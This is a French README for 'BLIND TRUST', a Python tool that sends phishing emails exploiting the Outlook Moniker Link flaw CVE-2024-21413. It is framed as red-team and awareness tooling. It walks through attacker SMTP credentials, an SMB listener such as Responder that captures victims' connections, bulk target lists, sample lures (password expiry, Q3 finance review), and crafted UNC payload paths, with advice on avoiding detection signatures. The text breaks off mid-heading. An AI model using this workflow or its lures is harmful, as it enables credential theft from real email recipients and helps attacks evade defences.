BLIND TRUST - Framework d'engagement de phishing Moniker Link

Un outil de recherche en sécurité pour simuler des campagnes de phishing ciblées exploitant la vulnérabilité Moniker Link CVE-2024-21413. Conçu pour les opérations red team autorisées, les tests d'intrusion et la formation de sensibilisation à la sécurité.

Présentation

BLIND TRUST est un framework d'engagement de phishing qui aide les équipes de sécurité à comprendre et tester leurs défenses contre des attaques sophistiquées par courriel. Il exploite la technique Moniker Link pour contourner l'Affichage protégé d'Outlook, offrant une simulation d'attaque réaliste que les organisations peuvent utiliser pour renforcer leur posture de sécurité.

Cet outil automatise le flux de travail de bout en bout d'une campagne — de la configuration à la livraison des courriels — tout en maintenant la sécurité opérationnelle grâce à des chemins UNC personnalisables et des prétextes flexibles.

Objectif

Les organisations doivent comprendre les techniques d'attaque réelles pour se défendre efficacement. TRUST permet :

• Opérations red team - Mener des campagnes de phishing autorisées dans le cadre d'audits de sécurité
• Formation de sensibilisation à la sécurité - Démontrer aux employés des vecteurs d'attaque réels
• Validation de vulnérabilités - Tester les capacités de détection face à des techniques connues
• Recherche défensive - Comprendre le comportement de Moniker Link dans votre environnement

Fonctionnalités

• Campagnes multi-cibles - Envoyer des courriels de phishing à plusieurs cibles avec une seule configuration
• Chargement flexible des cibles - Charger les cibles via une saisie interactive ou des fichiers .txt de type wordlist
• Prétexte personnalisable - Contrôler l'objet du courriel, le nom d'affichage de l'expéditeur et le corps du message
• Chemins UNC discrets - Personnaliser le chemin Moniker Link pour qu'il paraisse réaliste (domaine, nom de partage, nom d'exploit)
• Authentification SMTP - Prise en charge de divers serveurs SMTP avec négociation TLS
• Logique de nouvelle tentative automatique - Backoff exponentiel pour les pannes SMTP transitoires
• Rapports de campagne - Statut de livraison par cible avec résultats agrégés
• Aucune signature codée en dur - Éliminer les indicateurs évidents qui exposent la technique

Installation

Prérequis

• Python 3.7+
• Bibliothèque standard uniquement (aucune dépendance externe)

Mise en place

# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Run the tool
python3 TRUST_v7.py

Modules requis

L'outil utilise uniquement les modules de la bibliothèque standard de Python :

getpass      - Secure password input
html         - HTML escaping
ipaddress    - IP address validation
logging      - Structured logging
os           - File operations
re           - Regular expressions
signal       - Signal handling
smtplib      - SMTP email protocol
sys          - System utilities
time         - Time operations
dataclasses  - Configuration modeling
email        - MIME email construction
typing       - Type hints

Aucun paquet externe requis — fonctionne partout avec Python 3.7+.

Démarrage rapide

python3 TRUST_v7.py

Suivez l'assistant interactif à travers 5 étapes :

1. Identifiants de l'attaquant - Compte SMTP pour l'envoi des courriels
2. Configuration du listener SMB - Adresse IP vers laquelle les cibles se connecteront
3. Configuration des cibles - Charger les victimes depuis une saisie ou un fichier wordlist
4. Personnalisation du courriel - Objet, nom de l'expéditeur et corps du message
5. Personnalisation de la charge utile - Hôte, partage et noms d'exploit du chemin UNC

Exemples d'utilisation

Exemple 1 : Saisie interactive (petite campagne)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

Exemple 2 : Chargement via wordlist (grande campagne)

Créez targets.txt :

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

Puis exécutez :

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

Exemple 3 : Prétexte financier réaliste

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

Configuration expliquée

ÉTAPE 1 : Identifiants de l'attaquant

• Courriel de l'attaquant : L'adresse courriel utilisée pour envoyer les courriels de phishing (généralement un compte compromis ou usurpé)
• Mot de passe SMTP : Identifiant d'authentification pour le serveur de messagerie

ÉTAPE 2 : Listener SMB

• IP du listener SMB : L'adresse IP où votre listener SMB (par exemple, Responder, impacket-smbserver) est en cours d'exécution. Les cibles tenteront de s'y connecter lorsqu'elles cliqueront sur le lien Moniker Link.

ÉTAPE 3 : Configuration des cibles

Deux options :

• Saisie interactive : Collez les courriels directement (séparés par des virgules ou des retours à la ligne)
• Fichier wordlist : Charger depuis un fichier .txt avec un courriel par ligne, les commentaires commençant par #

ÉTAPE 4 : Personnalisation du courriel

• Objet : Ligne d'objet du courriel (évitez les références aux CVE ; gardez un ton professionnel)
• Nom d'affichage de l'expéditeur : Le nom convivial affiché dans l'en-tête du courriel
• Corps du courriel : Le texte de prétexte expliquant pourquoi les cibles devraient cliquer sur le lien

ÉTAPE 5 : Personnalisation de la charge utile

C'est ici que vous évitez les signatures évidentes :

• Hôte UNC : Utilisez un domaine ou sous-domaine réaliste (par exemple, finance-internal.company.com) au lieu d'une simple IP
• Partage UNC : Nom de partage réaliste comme quarterly, updates, documents
• Exploit UNC : Nom de fichier réaliste comme q3_report, security_patch, training_document

Résultat : Au lieu de l'évident \\192.168.1.100\share!exploit, vous obtenez quelque chose comme file://finance-internal.company.com/quarterly!q3_report.

Flux d'exécution

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

Comment ça fonctionne

La vulnérabilité